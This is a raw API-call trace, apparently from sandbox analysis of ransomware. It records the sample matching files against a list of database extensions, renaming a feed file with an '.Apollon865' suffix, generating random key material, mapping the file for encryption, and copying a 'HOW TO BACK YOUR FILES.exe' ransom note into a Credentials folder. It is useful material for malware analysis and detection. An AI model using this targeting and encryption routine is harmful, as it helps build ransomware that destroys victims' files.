	[0063.031] lstrlenW (lpString="$er") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0063.031] lstrlenW (lpString="4dd") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0063.031] lstrlenW (lpString="4dl") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0063.031] lstrlenW (lpString="^^^") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0063.031] lstrlenW (lpString="abs") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0063.031] lstrlenW (lpString="abx") returned 3
	[0063.031] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0063.031] lstrlenW (lpString="accdb") returned 5
	[0063.031] lstrcmpiW (lpString1="ed-ms", lpString2="accdb") returned 1
	[0063.031] lstrlenW (lpString="accdc") returned 5
	[0063.031] lstrcmpiW (lpString1="ed-ms", lpString2="accdc") returned 1
	[0063.032] lstrlenW (lpString="accde") returned 5
	[0063.032] lstrcmpiW (lpString1="ed-ms", lpString2="accde") returned 1
	[0063.032] lstrlenW (lpString="accdr") returned 5
	[0063.032] lstrcmpiW (lpString1="ed-ms", lpString2="accdr") returned 1
	[0063.032] lstrlenW (lpString="accdt") returned 5
	[0063.032] lstrcmpiW (lpString1="ed-ms", lpString2="accdt") returned 1
	[0063.032] lstrlenW (lpString="accdw") returned 5
	[0063.032] lstrcmpiW (lpString1="ed-ms", lpString2="accdw") returned 1
	[0063.032] lstrlenW (lpString="accft") returned 5
	[0063.032] lstrcmpiW (lpString1="ed-ms", lpString2="accft") returned 1
	[0063.032] lstrlenW (lpString="adb") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0063.032] lstrlenW (lpString="adb") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0063.032] lstrlenW (lpString="ade") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0063.032] lstrlenW (lpString="adf") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0063.032] lstrlenW (lpString="adn") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0063.032] lstrlenW (lpString="adp") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0063.032] lstrlenW (lpString="alf") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0063.032] lstrlenW (lpString="ask") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0063.032] lstrlenW (lpString="btr") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0063.032] lstrlenW (lpString="cat") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0063.032] lstrlenW (lpString="cdb") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0063.032] lstrlenW (lpString="ckp") returned 3
	[0063.032] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0063.033] lstrlenW (lpString="cma") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0063.033] lstrlenW (lpString="cpd") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0063.033] lstrlenW (lpString="dacpac") returned 6
	[0063.033] lstrcmpiW (lpString1="eed-ms", lpString2="dacpac") returned 1
	[0063.033] lstrlenW (lpString="dad") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0063.033] lstrlenW (lpString="dadiagrams") returned 10
	[0063.033] lstrcmpiW (lpString1="s~.feed-ms", lpString2="dadiagrams") returned 1
	[0063.033] lstrlenW (lpString="daschema") returned 8
	[0063.033] lstrcmpiW (lpString1=".feed-ms", lpString2="daschema") returned -1
	[0063.033] lstrlenW (lpString="db-journal") returned 10
	[0063.033] lstrcmpiW (lpString1="s~.feed-ms", lpString2="db-journal") returned 1
	[0063.033] lstrlenW (lpString="db-shm") returned 6
	[0063.033] lstrcmpiW (lpString1="eed-ms", lpString2="db-shm") returned 1
	[0063.033] lstrlenW (lpString="db-wal") returned 6
	[0063.033] lstrcmpiW (lpString1="eed-ms", lpString2="db-wal") returned 1
	[0063.033] lstrlenW (lpString="dbc") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0063.033] lstrlenW (lpString="dbs") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0063.033] lstrlenW (lpString="dbt") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0063.033] lstrlenW (lpString="dbv") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0063.033] lstrlenW (lpString="dbx") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0063.033] lstrlenW (lpString="dcb") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0063.033] lstrlenW (lpString="dct") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0063.033] lstrlenW (lpString="dcx") returned 3
	[0063.033] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0063.034] lstrlenW (lpString="ddl") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0063.034] lstrlenW (lpString="dlis") returned 4
	[0063.034] lstrcmpiW (lpString1="d-ms", lpString2="dlis") returned 1
	[0063.034] lstrlenW (lpString="dp1") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0063.034] lstrlenW (lpString="dqy") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0063.034] lstrlenW (lpString="dsk") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0063.034] lstrlenW (lpString="dsn") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0063.034] lstrlenW (lpString="dtsx") returned 4
	[0063.034] lstrcmpiW (lpString1="d-ms", lpString2="dtsx") returned -1
	[0063.034] lstrlenW (lpString="dxl") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0063.034] lstrlenW (lpString="eco") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0063.034] lstrlenW (lpString="ecx") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0063.034] lstrlenW (lpString="edb") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0063.034] lstrlenW (lpString="epim") returned 4
	[0063.034] lstrcmpiW (lpString1="d-ms", lpString2="epim") returned -1
	[0063.034] lstrlenW (lpString="fcd") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0063.034] lstrlenW (lpString="fdb") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0063.034] lstrlenW (lpString="fic") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0063.034] lstrlenW (lpString="flexolibrary") returned 12
	[0063.034] lstrcmpiW (lpString1="ews~.feed-ms", lpString2="flexolibrary") returned -1
	[0063.034] lstrlenW (lpString="fm5") returned 3
	[0063.034] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0063.035] lstrlenW (lpString="fmp") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0063.035] lstrlenW (lpString="fmp12") returned 5
	[0063.035] lstrcmpiW (lpString1="ed-ms", lpString2="fmp12") returned -1
	[0063.035] lstrlenW (lpString="fmpsl") returned 5
	[0063.035] lstrcmpiW (lpString1="ed-ms", lpString2="fmpsl") returned -1
	[0063.035] lstrlenW (lpString="fol") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0063.035] lstrlenW (lpString="fp3") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0063.035] lstrlenW (lpString="fp4") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0063.035] lstrlenW (lpString="fp5") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0063.035] lstrlenW (lpString="fp7") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0063.035] lstrlenW (lpString="fpt") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0063.035] lstrlenW (lpString="frm") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0063.035] lstrlenW (lpString="gdb") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0063.035] lstrlenW (lpString="gdb") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0063.035] lstrlenW (lpString="grdb") returned 4
	[0063.035] lstrcmpiW (lpString1="d-ms", lpString2="grdb") returned -1
	[0063.035] lstrlenW (lpString="gwi") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0063.035] lstrlenW (lpString="hdb") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0063.035] lstrlenW (lpString="his") returned 3
	[0063.035] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0063.035] lstrlenW (lpString="ib") returned 2
	[0063.035] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0063.036] lstrlenW (lpString="idb") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0063.036] lstrlenW (lpString="ihx") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0063.036] lstrlenW (lpString="itdb") returned 4
	[0063.036] lstrcmpiW (lpString1="d-ms", lpString2="itdb") returned -1
	[0063.036] lstrlenW (lpString="itw") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0063.036] lstrlenW (lpString="jet") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0063.036] lstrlenW (lpString="jtx") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0063.036] lstrlenW (lpString="kdb") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0063.036] lstrlenW (lpString="kexi") returned 4
	[0063.036] lstrcmpiW (lpString1="d-ms", lpString2="kexi") returned -1
	[0063.036] lstrlenW (lpString="kexic") returned 5
	[0063.036] lstrcmpiW (lpString1="ed-ms", lpString2="kexic") returned -1
	[0063.036] lstrlenW (lpString="kexis") returned 5
	[0063.036] lstrcmpiW (lpString1="ed-ms", lpString2="kexis") returned -1
	[0063.036] lstrlenW (lpString="lgc") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0063.036] lstrlenW (lpString="lwx") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0063.036] lstrlenW (lpString="maf") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0063.036] lstrlenW (lpString="maq") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0063.036] lstrlenW (lpString="mar") returned 3
	[0063.036] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0063.036] lstrlenW (lpString="marshal") returned 7
	[0063.036] lstrcmpiW (lpString1="feed-ms", lpString2="marshal") returned -1
	[0063.036] lstrlenW (lpString="mas") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0063.037] lstrlenW (lpString="mav") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0063.037] lstrlenW (lpString="maw") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0063.037] lstrlenW (lpString="mdbhtml") returned 7
	[0063.037] lstrcmpiW (lpString1="feed-ms", lpString2="mdbhtml") returned -1
	[0063.037] lstrlenW (lpString="mdn") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0063.037] lstrlenW (lpString="mdt") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0063.037] lstrlenW (lpString="mfd") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0063.037] lstrlenW (lpString="mpd") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0063.037] lstrlenW (lpString="mrg") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0063.037] lstrlenW (lpString="mud") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0063.037] lstrlenW (lpString="mwb") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0063.037] lstrlenW (lpString="myd") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0063.037] lstrlenW (lpString="ndf") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0063.037] lstrlenW (lpString="nnt") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0063.037] lstrlenW (lpString="nrmlib") returned 6
	[0063.037] lstrcmpiW (lpString1="eed-ms", lpString2="nrmlib") returned -1
	[0063.037] lstrlenW (lpString="ns2") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0063.037] lstrlenW (lpString="ns3") returned 3
	[0063.037] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0063.037] lstrlenW (lpString="ns4") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0063.038] lstrlenW (lpString="nsf") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0063.038] lstrlenW (lpString="nv") returned 2
	[0063.038] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0063.038] lstrlenW (lpString="nv2") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0063.038] lstrlenW (lpString="nwdb") returned 4
	[0063.038] lstrcmpiW (lpString1="d-ms", lpString2="nwdb") returned -1
	[0063.038] lstrlenW (lpString="nyf") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0063.038] lstrlenW (lpString="odb") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0063.038] lstrlenW (lpString="odb") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0063.038] lstrlenW (lpString="oqy") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0063.038] lstrlenW (lpString="ora") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0063.038] lstrlenW (lpString="orx") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0063.038] lstrlenW (lpString="owc") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0063.038] lstrlenW (lpString="p96") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0063.038] lstrlenW (lpString="p97") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0063.038] lstrlenW (lpString="pan") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0063.038] lstrlenW (lpString="pdb") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0063.038] lstrlenW (lpString="pdm") returned 3
	[0063.038] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0063.038] lstrlenW (lpString="pnz") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0063.039] lstrlenW (lpString="qry") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0063.039] lstrlenW (lpString="qvd") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0063.039] lstrlenW (lpString="rbf") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0063.039] lstrlenW (lpString="rctd") returned 4
	[0063.039] lstrcmpiW (lpString1="d-ms", lpString2="rctd") returned -1
	[0063.039] lstrlenW (lpString="rod") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0063.039] lstrlenW (lpString="rodx") returned 4
	[0063.039] lstrcmpiW (lpString1="d-ms", lpString2="rodx") returned -1
	[0063.039] lstrlenW (lpString="rpd") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0063.039] lstrlenW (lpString="rsd") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0063.039] lstrlenW (lpString="sas7bdat") returned 8
	[0063.039] lstrcmpiW (lpString1=".feed-ms", lpString2="sas7bdat") returned -1
	[0063.039] lstrlenW (lpString="sbf") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0063.039] lstrlenW (lpString="scx") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0063.039] lstrlenW (lpString="sdb") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0063.039] lstrlenW (lpString="sdc") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0063.039] lstrlenW (lpString="sdf") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0063.039] lstrlenW (lpString="sis") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0063.039] lstrlenW (lpString="spq") returned 3
	[0063.039] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0063.039] lstrlenW (lpString="te") returned 2
	[0063.040] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0063.040] lstrlenW (lpString="teacher") returned 7
	[0063.040] lstrcmpiW (lpString1="feed-ms", lpString2="teacher") returned -1
	[0063.040] lstrlenW (lpString="tmd") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0063.040] lstrlenW (lpString="tps") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0063.040] lstrlenW (lpString="trc") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0063.040] lstrlenW (lpString="trc") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0063.040] lstrlenW (lpString="trm") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0063.040] lstrlenW (lpString="udb") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0063.040] lstrlenW (lpString="udl") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0063.040] lstrlenW (lpString="usr") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0063.040] lstrlenW (lpString="v12") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0063.040] lstrlenW (lpString="vis") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0063.040] lstrlenW (lpString="vpd") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0063.040] lstrlenW (lpString="vvv") returned 3
	[0063.040] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0063.041] lstrlenW (lpString="wdb") returned 3
	[0063.041] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0063.041] lstrlenW (lpString="wmdb") returned 4
	[0063.041] lstrcmpiW (lpString1="d-ms", lpString2="wmdb") returned -1
	[0063.041] lstrlenW (lpString="wrk") returned 3
	[0063.041] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0063.041] lstrlenW (lpString="xdb") returned 3
	[0063.041] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0063.041] lstrlenW (lpString="xld") returned 3
	[0063.041] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0063.041] lstrlenW (lpString="xmlff") returned 5
	[0063.041] lstrcmpiW (lpString1="ed-ms", lpString2="xmlff") returned -1
	[0063.041] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.Apollon865") returned 94
	[0063.041] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.apollon865"), dwFlags=0x1) returned 1
	[0063.042] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.042] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28672) returned 1
	[0063.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.042] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.043] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.043] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.043] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x154
	[0063.044] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000
	[0063.046] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.047] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.047] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0063.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0063.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0063.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0063.047] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.047] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.048] CloseHandle (hObject=0x154) returned 1
	[0063.048] CloseHandle (hObject=0x118) returned 1
	[0063.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0063.048] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
	[0063.048] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0063.048] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0063.048] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials"
	[0063.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0063.049] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned 52
	[0063.049] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials"
	[0063.049] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.049] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.049] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.049] GetLastError () returned 0x0
	[0063.049] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.049] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.050] CloseHandle (hObject=0x15c) returned 1
	[0063.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.050] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
